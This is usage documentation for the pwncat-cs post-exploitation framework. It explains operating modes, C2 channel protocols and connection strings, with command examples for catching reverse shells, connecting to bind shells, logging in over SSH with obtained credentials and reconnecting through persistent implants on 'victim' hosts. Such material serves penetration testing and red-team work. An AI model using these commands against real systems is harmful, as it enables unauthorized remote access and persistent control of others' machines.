Basic Usage

There are two main operating modes while interacting with a victim in pwncat: remote and local. At any given time, the prompt will include either (local) or (remote) to indicate the current mode. When using local mode, you have access to pwncat-specific commands such as upload, download, use, run and exit. In remote mode, you will have access to a platform-specific shell environment (e.g. bash or powershell).

To toggle between these modes, you can use the C-d key combination. This combination is intercepted by pwncat before being sent to the target when in remote mode. If you need to send a C-d combination directly to the target, you can use the C-k prefix. Prefixing C-d or C-k with C-k will tell pwncat to send the literaly C-d or C-k sequence to the target.

Command Line Interface and Start-up Sequence

pwncat provides an entrypoint script which allows you to enter an unconnected pwncat prompt and optionally immediately connect to a victim. The syntax for the pwncat entrypoint is largely identical to the pwncat connect command. The arguments/syntax is described in the sections below.

In order to establish a connection, you must specify all needed channel arguments as well as specify a platform name (e.g. linux or windows). If no platform is specified, it is assumed to be linux. This can cause hangs if connected to the incorrect platform.

C2 Channels

pwncat allows the use of a few different C2 channels when connecting to a victim. Originally, pwncat wrapped a raw socket much like netcat with some extra features. As the framework was expanded, we have moved toward abstracting this command and control layer away from the core pwncat features to allow more ways of connection. Currently, only raw sockets and ssh are implemented. You can connect to a victim with three different C2 protocols: bind, connect, and ssh. The first two act like netcat. These modes simply open a raw socket and assume there is a shell on the other end. In SSH mode, we legitimately authenticate to the victim host with provided credentials and utilize the SSH shell channel as our C2 channel.

pwncat also implements SSL-wrapped versions of bind and connect protocols aptly named ssl-bind and ssl-connect. These protocols function largely the same as bind/connect, except that they operate over an encrypted SSL tunnel. You must use an encrypted bind or reverse shell on the victim side such as ncat --ssl or socat OPENSSL-LISTEN:.

pwncat exposes these different C2 channel protocols via the protocol field of the connection string discussed below.

Connecting to a Victim

Connecting to a victim is accomplished through a connection string. Connection strings are versatile ways to describe the parameters to a specific C2 Channel/Protocol. This looks something like: [protocol://][user[:password]]@[host:][port][?arg1=value&arg2=value]

Each field in the connection string translates to a parameter passed to the C2 channel. Some channels don’t require all the parameters. For example, a bind or connect channel doesn’t required a username or a password. If there is not an explicit argument or parsed value within the above format, you can use the query string arguments to specify arbitrary channel arguments. You cannot specify the same argument twice (e.g. connect://hostname:1111?port=4444).

If the protocol field is not specified, pwncat will attempt to figure out the correct protocol contextually. The following rules apply:

  • If a user and host are provided, assume ssh protocol

  • If no user is provided but a host, port and the --ssl argument, assume protocol is ssl-connect

  • If no user is provided but a host and port are provided and no --ssl, assume protocol is connect

  • If no user or host is provided (or host is 0.0.0.0) and the certfile, keyfile, or --ssl arguments are provided, protocol is assumed to be ssl-bind

  • If no user or host is provided (or host is 0.0.0.0), protocol is assumed to be bind

  • If a second positional integer parameter is specified and --ssl is not, the protocol is assumed to be connect

  • If a second positional integer parameter is specified and --ssl is provided, the protocol is assumed to be ssl-connect

  • If the -l parameter is used and the certfile, keyfile, or --ssl arguments are provided, the protocol is assumed to be ssl-bind.

  • If the -l parameter is used alone, then the protocol is assumed to be bind

Connecting to a victim bind shell

In this case, the victim is running a raw bind shell on an open port. The victim must be available at an address which is routable (e.g. not NAT’d). The connect protocol provides this capability.

Connecting to a bind shell at 1.1.1.1:4444
# netcat syntax
pwncat-cs 192.168.1.1 4444
# Full connection string
pwncat-cs connect://192.168.1.1:4444
# Connection string with assumed protocol
pwncat-cs 192.168.1.1:4444

Connecting to a victim encrypted bind shell

In this case, the victim is running a ssl-wrapped bind shell on an open port. The victim must be available at an address which is routable (e.g. not NAT’d). The ssl-connect protocol provides this capability.

Connecting to a bind shell at 1.1.1.1:4444
# Full connection string
pwncat-cs connect://192.168.1.1:4444
# ncat style syntax
pwncat-cs --ssl 192.168.1.1 4444
pwncat-cs --ssl 192.168.1.1:4444

Catching a victim reverse shell

In this case, the victim was exploited in such a way that they open a connection to your attacking host on a specific port with a raw shell open on the other end. Your attacking host must be routable from the victim machine. This mode is accessed via the bind protocol.

Catching a reverse shell
# netcat syntax
pwncat-cs -lp 4444
# Full connection string
pwncat-cs bind://0.0.0.0:4444
# Assumed protocol
pwncat-cs 0.0.0.0:4444
# Assumed protocol, assumed bind address
pwncat-cs :4444

Catching a victim encrypted reverse shell

In this case, the victim was exploited in such a way that they open an ssl connection to your attacking host on a specific port with a raw shell open on the other end. Your attacking host must be routable from the victim machine. This mode is accessed via the ssl-bind protocol.

If the explicit ssl-bind protocol or the --ssl argument is provided without an explicit certfile or keyfile, a self-signed certificate is generated with dummy attributes. The certfile and keyfile can both point to the same bundled PEM file if both the key and certificate are present.

Catching a reverse shell
# ncat style syntax
pwncat-cs --ssl --ssl-cert cert.pem --ssl-key cert.pem -lp 4444
# Full connection string
pwncat-cs ssl-bind://0.0.0.0:4444?certfile=/path/to/cert.pem&keyfile=/path/to/key.pem
# Auto-generated self-signed certificate
pwncat-cs --ssl -lp 4444
# Auto-generated self-signed certificate with explicit protocol
pwncat-cs ssl-bind://0.0.0.0:4444

Connecting to a Remote SSH Server

If you were able to obtain a valid password or private key for a remote user, you can initiate a pwncat session with the remote host over SSH. This mode is accessed via the ssh protocol. A note about protocol assumptions: if there is an installed persistence method for a given user, then specifying only a user and host will first try reconnecting via that persistence method. Afterwards, an ssh connection will be attempted. If you don’t want this behavior, you should explicitly specify ssh:// for your protocol.

Connection to a remote SSH server
# SSH style syntax (assumed protocol, prompted for password)
pwncat-cs root@192.168.1.1
# Full connection string with password
pwncat-cs "ssh://root:r00t5P@ssw0rd@192.168.1.1"
# SSH style syntax w/ identity file
pwncat-cs -i ./root_id_rsa root@192.168.1.1

Connecting to a Windows Target

All of the above examples can also be used to connect to Windows targets as long as you explicitly specify a platform during invocation. For example, to connect to a Windows bind shell at 192.168.1.1:4444:

Connect to Windows bind shell
# netcat syntax
pwncat-cs -m windows 192.168.1.1 4444
# Full connection string
pwncat-cs -m windows connect://192.168.1.1:4444
# Connection string with assumed protocol
pwncat-cs -m windows 192.168.1.1:4444

Reconnecting to a victim

pwncat has the capability to install, track, and remove persistent implants on a target. If you had a previous connect to a target, and installed a persistent implant, you can use the pwncat entrypoint to list available implants and attempt to reconnect to a given target. Reconnecting can be accomplished with either the IP address or unique host ID of a target.

List Installed Persistent Implants
pwncat-cs --list

pwncat will attempt to reconnect to a host automatically if needed. Specifically, if no explicit protocol, port, identity or password is specified, pwncat assumes you would like to be reconnected to the specified host and attempts to reconnect via a matching implant prior to attempting direct connection.

Reconnecting to a known host
# Attempt reconnection as any user; specify host ID
pwncat-cs 999c434fe6bd7383f1a6cc10f877644d
# Attempt reconnection first as the specified user
pwncat-cs user@192.168.1.1